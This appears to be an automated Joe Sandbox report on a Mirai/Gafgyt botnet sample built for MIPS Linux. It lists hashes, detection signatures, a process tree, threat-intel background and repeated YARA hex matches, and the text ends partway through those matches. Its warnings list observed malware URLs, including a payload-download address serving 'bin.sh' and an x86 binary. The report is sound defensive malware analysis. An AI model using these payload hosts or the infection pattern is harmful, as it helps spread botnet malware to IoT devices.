Edit tour

Linux Analysis Report
ewe.mips.elf

Overview

General Information

Sample name:	ewe.mips.elf
Analysis ID:	1599615
MD5:	71b690b797eebeb06fed1a44ee502bb3
SHA1:	9e17311594b11c5d48c0757c367b8b8cedeab6c6
SHA256:	2a1576da465e8e69fcadc79fd930aa192dd56025ee1434dfe34363adf3d0f7db
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Sample tries to kill multiple processes (SIGKILL)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample tries to kill a process (SIGKILL)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1599615
Start date and time:	2025-01-26 01:42:20 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	ewe.mips.elf
Detection:	MAL
Classification:	mal100.spre.troj.linELF@0/0@2/0

Warnings

HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: http://139.59.126.134/bin.sh;
VT rate limit hit for: http://139.59.126.134/bns/x86
VT rate limit hit for: http://192.168.0.14:80/cgi-bin/ViewLog.asp

Runtime Messages

Command:	/tmp/ewe.mips.elf
PID:	5494
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	Infected By Cult
Standard Error:

Process Tree

system is lnxubuntu20

ewe.mips.elf (PID: 5494, Parent: 5417, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/ewe.mips.elf

ewe.mips.elf New Fork (PID: 5497, Parent: 5494)

ewe.mips.elf New Fork (PID: 5499, Parent: 5494)

ewe.mips.elf New Fork (PID: 5501, Parent: 5494)

ewe.mips.elf New Fork (PID: 5503, Parent: 5501)

ewe.mips.elf New Fork (PID: 5506, Parent: 5501)

ewe.mips.elf New Fork (PID: 5510, Parent: 5501)

ewe.mips.elf New Fork (PID: 5514, Parent: 5501)

ewe.mips.elf New Fork (PID: 5515, Parent: 5501)

ewe.mips.elf New Fork (PID: 5516, Parent: 5501)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
ewe.mips.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
ewe.mips.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
ewe.mips.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x143e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x143f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14408:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1441c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14430:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14444:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14458:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1446c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14480:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14494:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1450c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14520:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14534:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14548:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1455c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14570:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
ewe.mips.elf	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x14938:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64

Memory Dumps

Source	Rule	Description	Author	Strings
5510.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5510.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5510.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x143e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x143f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14408:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1441c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14430:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14444:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14458:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1446c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14480:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14494:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1450c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14520:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14534:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14548:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1455c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14570:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5510.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x14938:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
5515.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5515.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5515.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x143e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x143f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14408:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1441c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14430:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14444:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14458:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1446c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14480:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14494:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1450c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14520:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14534:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14548:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1455c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14570:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5515.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x14938:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
5494.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5494.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5494.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x143e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x143f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14408:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1441c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14430:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14444:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14458:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1446c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14480:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14494:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1450c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14520:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14534:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14548:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1455c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14570:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5494.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x14938:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
5516.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5516.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5516.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x143e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x143f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14408:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1441c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14430:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14444:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14458:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1446c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14480:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14494:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1450c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14520:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14534:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14548:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1455c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14570:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5516.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x14938:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
5503.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5503.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5503.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x143e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x143f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14408:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1441c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14430:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14444:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14458:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1446c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14480:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14494:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1450c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14520:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14534:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14548:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1455c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14570:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5503.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x14938:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
5499.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5499.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5499.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x143e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x143f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14408:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1441c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14430:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14444:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14458:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1446c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14480:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14494:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1450c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 